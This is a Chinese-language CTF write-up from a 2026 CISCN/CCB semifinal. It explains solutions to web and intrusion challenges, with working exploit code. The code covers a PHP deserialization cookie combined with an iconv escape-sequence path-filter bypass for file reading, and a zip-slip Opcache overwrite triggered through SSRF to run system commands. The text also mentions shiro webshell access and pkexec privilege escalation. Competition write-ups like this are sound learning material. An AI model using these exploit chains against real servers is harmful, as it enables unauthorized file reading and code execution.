# 2026 ciscn&ccb 浙江赛区半决赛wp

Table of Contents

AWDP

MediaDrive

attack

cookie完全可控,可以反序列化改user属性

image-20260323213047202

而preview.php可以任意文件读取

image-20260323213223458

而编码解码操作是在waf后的,那么可以利用反序列化来控制User的encoding和basePath参数

这里提到:https://gist.github.com/Ridter/548af465ebc80806254b5a9dddab4a70 iconv在进行ISO-2022编码时,会在字符串前面强制插入 \x1b$)C

就是 ISO-2022 规范要求输出必须以 \x1b$)C 开头来声明字符集。

ISO-2022 转义序列结构

ISO-2022 标准定义了一套通过转义序列切换字符集的机制。转义序列的通用格式是:

ESC 中间字节(0个或多个) 终结字节(1个)

对于 \x1b$)C,拆开就是:

字节含义
\x1bESC,转义序列的起始标志
$表示目标是多字节字符集(94x94 集合)。如果没有 $,就是单字节字符集
)表示指定到 G1 字符集槽位。( = G0,) = G1,* = G2,+ = G3
C终结字节,标识具体是哪个字符集。C = KS X 1001 (韩文)

所以 \x1b$)C 完整意思是:“将KS X 1001字符集指定到 G1 槽位”

所以如果后面没有字符来激活 G1,这个序列就只是一个纯粹的状态指令,不产生任何输出字符

所以:

<?php
$rawPath="/../../../f\x1b$)Clag";
$convertedPath = iconv("UTF-8","ISO-2022-CN-EXT", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
http_response_code(500);
echo "Conversion failed";
exit;
}
echo $convertedPath."\n";
// 输出: /../../../flag

但是这里有一坑,就是选择C这样还是会有残留的:

image-20260323220325145

因为\x1b$)C 是 ISO-2022-KR 的序列,ISO-2022-CN-EXT 的 iconv 不认识它所以原样保留了。

而 终结字节: A = GB 2312符合ISO-2022-CN-EXT

换成 A 就会被正确消耗。

image-20260323220844764

exp

<?php
class User {
public $name = "guest";
public $encoding = "ISO-2022-CN-EXT";
public $basePath = "/";
}
echo serialize(new User());
// O:4:"User":3:{s:4:"name";s:5:"guest";s:8:"encoding";s:15:"ISO-2022-CN-EXT";s:8:"basePath";s:1:"/";}
import requests
import urllib.parse
url = "http://172.18.32.222:1141/"
cookie = 'O:4:"User":3:{s:4:"name";s:5:"admin";s:8:"encoding";s:15:"ISO-2022-CN-EXT";s:8:"basePath";s:1:"/";}'
f_param = "fla" + urllib.parse.quote(b"\x1b$)A") + "g"
r = requests.get(
f"{url}preview.php?f={f_param}",
headers={"Cookie": f"user={urllib.parse.quote(cookie)}"}
)
print(r.text)

fix

ban掉反序列化

直接在读之前通防就好了

easy_time

attack

给了两个解压函数,用了危险的那个

image-20260323221521829

直接从info join了,可以路径穿越。

结合题目名字和他给的date.php可以拿到index.php的创建时间戳,可以判断出是打Opcache覆盖index.php + 加时间戳绕过

读他的php.ini,果然如此

image-20260323221801802

详见php Opcache插件进行RCE - Zer0peach can’t think

因为离线起不了docker,但是他给了phpinfo,就可以算出来system_id

8.2.6
<?php
var_dump(md5("8.2.6API420220829,NTSBIN_4888(size_t)8\002"));
// API420220829,NTS
// "string(32) "45b8be9467d6ed29438f06cfe9cee9f6""

时间戳就可以通过/about页面的ssrf来获取

exp

import zipfile
import requests
import struct
import re
from html import unescape
base = "http://localhost:5000"
system_id = "45b8be9467d6ed29438f06cfe9cee9f6"
timestamp = 1769426974
zipname = f"../../../tmp/{system_id}/var/www/html/index.php.bin"
s = requests.Session()
def login():
r = s.post(f"{base}/login",
data={"username": "admin", "password": "secret"})
print("login:", r.status_code)
def genBin():
with open("index.php.bin", "rb") as f:
data = bytearray(f.read())
data[0x08:0x28] = system_id.encode('ascii')
struct.pack_into("<I", data, 0x40, timestamp)
return data
def genZip():
with zipfile.ZipFile("payload.zip", "w") as zf:
zf.writestr(zipfile.ZipInfo(zipname), genBin())
print("zip generated")
def upload():
with open("payload.zip", "rb") as f:
r = s.post(f"{base}/plugin/upload", files={
"plugin": ("payload.zip", f, "application/zip")
})
print("upload:", r.status_code)
def trigger(cmd="system(%22whoami%22);"):
r = s.post(f"{base}/about", data={
"about": "x",
"avatar_url": f"http://127.0.0.1:80/index.php?v2e={cmd}"
})
match = re.search(r'len=b(.*?)</code>', r.text, re.DOTALL)
if match:
raw = unescape(match.group(1))
print(raw)
else:
print(r.text[:500])
if __name__ == "__main__":
login()
genZip()
upload()
trigger()

fix

换成好的那个解压函数,但是exp利用成功,,,

后面修了几次都没修好,时间太少了

wso2-lab

本地部署了一下,是wso2 4.6,然后在

/home/wso2carbon/wso2am-4.6.0/repository/conf/user-mgt.xml

image-20260323222436449

里面有账号密码,可以登录api后台界面,就可以打h2 jdbc

但是payload没打通,说请求长度太长,没时间审了,唉。

ISW

ISW3

直接fscan扫到shiro,工具一把锁冰蝎上线拿到flag1

发现有pkexec,打CVE-2021-4034提权拿到flag2

据说还可以rpc-client连上去得到flag,当时没想到。

ISW1&2

第一台机子有路径穿越任意文件读

直接爆破proc/${}/cmdline 0-999找到pico-restar.py 进而找到pico-server二进制文件

两题都是pwn,被队里大手子带飞。

总结

第一次打进决赛,去年awdp爆零,队友还是太强了。

总体感觉就是时间不够用

My avatar

感谢阅读我的博客


More Posts

Comments